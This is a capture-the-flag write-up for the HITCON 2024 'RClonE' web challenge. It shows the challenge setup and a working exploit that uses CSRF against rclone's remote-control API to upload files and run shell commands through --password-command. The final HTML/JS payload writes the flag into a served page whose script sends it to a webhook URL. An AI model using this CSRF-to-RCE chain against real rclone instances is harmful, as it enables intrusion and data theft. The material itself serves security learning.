Home Hitcon CTF 2024 RClonE
Post
Cancel

Hitcon CTF 2024 RClonE

For Hitcon this year we played with the World Wide Union merger. The web challenges were all really interesting and I learned a lot.

web/RClonE

I collaborated with gg0h on this challenge and we managed to solve it together.

Initial Analaysis

Opening up the initial source files we are greeted with the following docker-compose.yml file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
services:
  rclone:
    image: rclone
    build: .
    environment:
      - SECRET=secret  # randomized secret per instancer
    networks:
      - chall
  bot:
    image: rclone-bot
    build: ./bot
    environment:
      - TITLE=Admin Bot for RClonE
      - PORT=8000
      - URL_CHECK_REGEX=^https?://.{1,256}$
      - SECRET=secret  # randomized secret per instancer
    security_opt: 
      - seccomp=chrome.json
    ports:
      - "${PORT}:8000"
    networks:
      - default
      - chall
networks:
  chall:
    internal: true

We notice two containers; a bot which is being built from local sources and a version of “rclone”. However, the Dockerfile indicates that a readflag binary is present in the root directory and must be executed to retrieve the flag. This is added to the rclone container and so we must achieve remote code execution in the context of this container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
FROM debian:bookworm-slim

RUN apt-get update && \
    apt-get install -y tini ca-certificates curl unzip && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*
WORKDIR /workdir

ARG RCLONE_VERSION=v1.67.0
ARG RCLONE_NAME=rclone-$RCLONE_VERSION-linux-amd64
ARG RCLONE_HASH=07c23d21a94d70113d949253478e13261c54d14d72023bb14d96a8da5f3e7722

RUN curl https://downloads.rclone.org/$RCLONE_VERSION/$RCLONE_NAME.zip -o rclone.zip && \
    echo $RCLONE_HASH rclone.zip | sha256sum -c && \
    unzip rclone.zip && \
    mv $RCLONE_NAME/rclone /usr/bin

COPY ./readflag /readflag
RUN chmod 777 /readflag

RUN useradd -ms /bin/bash ctf
USER ctf

ENTRYPOINT ["tini", "--"]
CMD rclone rcd --rc-addr 0.0.0.0:5572 --rc-web-gui --rc-user $SECRET --rc-pass $SECRET --rc-web-gui-no-open-browser

When looking at the docker-compose.yml file we notice that the rclone container is restricted to an internal network which the bot may access. As such, it becomes clear that we must send a payload to the bot which will cause the bot to execute our RCE payload and extract the flag from the binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const puppeteer = require('puppeteer')

const SECRET = process.env.SECRET || 'secret'
const sleep = async ms => new Promise(resolve => setTimeout(resolve, ms))

const auth = `${SECRET}:${SECRET}`
const SITE = process.env.SITE || 'http://rclone:5572'
const tmpurl = new URL(`/?login_token=${encodeURIComponent(btoa(auth))}`, SITE)
tmpurl.username = SECRET
tmpurl.password = SECRET
const LOGIN_URL = tmpurl.href
console.log('[+] LOGIN_URL:', LOGIN_URL)

let browser = null

const visit = async url => {
	let context = null
	try {
		if (!browser) {
			const args = ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage']
			if (new URL(SITE).protocol === 'http:') {
				args.push(`--unsafely-treat-insecure-origin-as-secure=${SITE}`)
			}
			browser = await puppeteer.launch({
				headless: 'new',
				args
			})
		}

		context = await browser.createBrowserContext()

		const page1 = await context.newPage()
		await page1.goto(LOGIN_URL)
		await page1.close()

		const page2 = await context.newPage()
		await Promise.race([
			page2.goto(url, {
				waitUntil: 'networkidle0'
			}),
			sleep(5000)
		])
		await page2.close()

		await context.close()
		context = null
	} catch (e) {
		console.log(e)
	} finally {
		if (context) await context.close()
	}
}

module.exports = visit

if (require.main === module) {
	visit('http://example.com')
}

Above you can browse the source code of the bot.js file. Here we can see that the bot will authenticate with the rclone container and log into its dashboard before visiting our URL. This means that we can leverage any post-auth remote code execution vulnerabilities to solve this challenge.

Escaping The XSS Rabbit Hole

The initial assumption we made was that this service could be exploited using XSS. Given that we have no access to the internal dashboard ourselves, the only plausible chain I could imagine would involve a reflected XSS vulnerability in the dashboard. Rclone is a pretty popular project (50k+ stars on GitHub) and I wouldn’t expect to easily find such a vulnerability but this is supposed to be a tough CTF so we began searching.

Nothing obvious was found. At this point, we noticed that when authenticated with a login token (as the bot does) there is no CSRF tokens attached to the session.

enter image description here

And so the idea pivoted to abusing some sort of CSRF on the API. A list of all endpoints can be found here: https://rclone.org/rc/

But since all the POST endpoints on the API seemed to use JSON we are limited, right? Wrong!

enter image description here

So now the idea is to send the bot to our website and submit a number of POST forms to interactive with various APIs. I wrote a basic demo with 2 POST forms pointing to my webhook with target="_BLANK" attribute set and sent these to the bot. It successfully posted both values.

Finding RCE

We initially noticed that core/command endpoint allowed us to pass various commands to rclone as documented here: https://rclone.org/commands/

At this point gg0h noticed that “encrypted config files” allow you to set a password command for decryption. This is documented here: https://rclone.org/docs/#configuration-encryption

Essentially, we can run a rclone command to decrypt a config file and pass in a --password-comment parameter with our bash own custom bash command. The command which we found worked was: rclone config show __config=/path/to/encrypted/conf --password-commmand="FREE RCE"

This however, required that an encrypted file exists on the disk. During our initial testing we found that the /operations/copyfile endpoint provided for copying remote files to the server in writable directories but this would not work due to the nature of the rclone container’s network configuration (bound internally).

Arbitrary File Uploads

The next obvious approach was to use the /operations/uploadfile endpoint. This allows a file to be uploaded directly via a multipart form request. We could attach a file to a form and submit it on behalf of a user leveraging the CSRF. This endpoint supports the uploading of multiple files and so we decided to upload a file rc.conf containing the encrypted configuration file and a test.sh containing our exploit.

rc.conf

1
2
3
4
# Encrypted rclone configuration File

RCLONE_ENCRYPT_V0:
cM8HO1ZPJlXcA0m5T/SdhLl7zoKlOhcKfc8vYJywENWphwmo2M2u0ZKYOPRxBSLC6Ax5qVc1Gy2SEfNrfbDv

The most obvious approach to executing our payload would be to curl our webhook with the flag but this is again restricted due to the rclone container being bound by an internal network.

Escaping The Network

At this point we had the idea to store the output of /readflag into a writable directory and then serve this over HTTP. We would then need to set an Access-Control-Allow-Origin: * header to facilitate the bot fetching the output of the page.

It turns out that the rcd command of rclone facilitates hosting a directory. The following command would serve /tmp directory on port 1234:

rclone rcd --rc-serve --rc-addr 0.0.0.0:1234 --rc-files /tmp

So if we ran /readflag > /tmp/output we would expect this to be accessible to the bot on http://rclone:1234/output where it would be able to read it.

To bypass the origin I tried using the --rc-allow-origin argument and setting it to our host but there were still origin issues with accessing the local address space and I’m unsure if this approach works. My final approach was to instead output our flag to a HTML file and then append some javascript to this HTML file which would simple copy the text on the page and send it to our webhook.

Final Exploit Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<form action="http://rclone:5572/operations/uploadfile?fs=/&remote=home/ctf/" method="POST" target="_BLANK" enctype="multipart/form-data">
  <input type="file" id="fileInput" name="file0" />
  <input type="file" id="fileInput2" name="file1" />
  <input id="btn" type="submit" />
  </form>
  
  <form action='http://rclone:5572/core/command?command=config&arg=["show","--config","/home/ctf/rc.conf","--password-command","bash%20/home/ctf/test.sh"]' method="POST" target="_BLANK">
  <input id="btn2" type="submit" />
  </form>
  
  <script>
  // Prepare test.sh
  var fileContent = new Blob([
    `#!/bin/bash\n/readflag>/tmp/lol.html\necho "<script>window.location.href='https://webhook.site/<ID>/'+btoa(document.body.innerText);<\/script>" >> /tmp/lol.html\nrclone rcd --rc-serve --rc-addr 0.0.0.0:1234 --rc-files /tmp`
  ], { type: "text/plain" });
  
  var file = new File([fileContent], "test.sh", { type: "text/plain" });
  var fileInput = document.getElementById("fileInput");
  var dataTransfer = new DataTransfer();
  dataTransfer.items.add(file);
  fileInput.files = dataTransfer.files;

  // Prepare rc.conf
  var fileContent = new Blob([
    `# Encrypted rclone configuration File\n\nRCLONE_ENCRYPT_V0:\ncM8HO1ZPJlXcA0m5T/SdhLl7zoKlOhcKfc8vYJywENWphwmo2M2u0ZKYOPRxBSLC6Ax5qVc1Gy2SEfNrfbDv`
  ], { type: "text/plain" });
  
  var file = new File([fileContent], "rc.conf", { type: "text/plain" });
  var fileInput = document.getElementById("fileInput2");
  var dataTransfer = new DataTransfer();
  dataTransfer.items.add(file);
  fileInput.files = dataTransfer.files;

document.getElementById('btn').click();

setTimeout(function() {
    document.getElementById('btn2').click();
}, 300);

setTimeout(function() {
  window.location.href = 'http://rclone:1234/lol.html';
}, 500)

</script>

hitcon{easy_peasy_rce_using_csrf_attacking_local_server}

This post is licensed under CC BY 4.0 by the author.